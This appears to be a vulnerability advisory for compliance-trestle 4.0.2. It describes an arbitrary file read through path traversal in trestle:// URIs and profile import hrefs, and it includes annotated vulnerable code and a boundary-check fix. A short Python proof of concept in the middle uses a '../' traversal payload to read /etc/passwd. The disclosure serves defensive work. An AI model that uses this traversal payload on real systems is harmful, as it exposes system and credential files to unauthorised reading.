compliance-trestle Profile Import has an Arbitrary File Read via trestle:// URI and Relative Path Traversal

class LocalFetcher(FetcherBase):
    def __init__(self, trestle_root: pathlib.Path, uri: str) -> None:
        super().__init__(trestle_root, uri)
        # ...
        elif uri.startswith(const.TRESTLE_HREF_HEADING):
            uri = str(trestle_root / uri[len(const.TRESTLE_HREF_HEADING) :])
            self._abs_path = pathlib.Path(uri).resolve()
            # ❌ NO boundary check — .resolve() follows ../
            # ❌ NO is_relative_to() validation
            # ❌ Result can be /etc/passwd
            self._cached_object_path = self._abs_path
            return

        # For relative paths (no trestle:// or file:// prefix):
        try:
            self._abs_path = pathlib.Path(uri).resolve()
            # ❌ Same issue — resolves relative to CWD with no boundary check
        except Exception:
            raise TrestleError(...)

class Import(Pipeline.Filter):
    def __init__(self, ...):
        # Line 73-83: back_matter rlinks used directly
        if self._import.href[0] == '#':
            resource = [r for r in self._resources if r.uuid == self._import.href[1:]][0]
            self._import.href = [
                rlink.href  # ❌ rlink.href from OSCAL data — user-controlled
                for rlink in resource.rlinks
                if rlink.href.endswith('.json') or rlink.href.endswith('.yaml')
            ][0]

        # Line 104: href passed directly to FetcherFactory
        fetcher = cache.FetcherFactory.get_fetcher(self._trestle_root, self._import.href)

pip install compliance-trestle==4.0.2

#!/usr/bin/env python3
"""PoC: trestle:// path traversal via real LocalFetcher"""
from pathlib import Path
from trestle.core.remote.cache import LocalFetcher
import tempfile

trestle_root = Path(tempfile.mkdtemp())

# Normal usage — stays within workspace
normal = LocalFetcher(trestle_root, "trestle://catalogs/test/catalog.json")
print(f"Normal: {normal._abs_path}")  # /tmp/xxx/catalogs/test/catalog.json

# Exploit — escapes workspace
evil = LocalFetcher(trestle_root, "trestle://../../../../../../etc/passwd")
print(f"Evil:   {evil._abs_path}")    # /etc/passwd
print(f"Content: {evil._abs_path.read_text().split(chr(10))[0]}")
# Output: root:x:0:0:root:/root:/bin/bash

class LocalFetcher(FetcherBase):
    def __init__(self, trestle_root: pathlib.Path, uri: str) -> None:
        super().__init__(trestle_root, uri)
        # ...
        elif uri.startswith(const.TRESTLE_HREF_HEADING):
            uri = str(trestle_root / uri[len(const.TRESTLE_HREF_HEADING) :])
            self._abs_path = pathlib.Path(uri).resolve()

            # ✅ ADD: Boundary check
            if not self._abs_path.is_relative_to(self._trestle_root):
                raise TrestleError(
                    f"Path traversal blocked: resolved path '{self._abs_path}' "
                    f"is outside trestle root '{self._trestle_root}'"
                )

            self._cached_object_path = self._abs_path
            return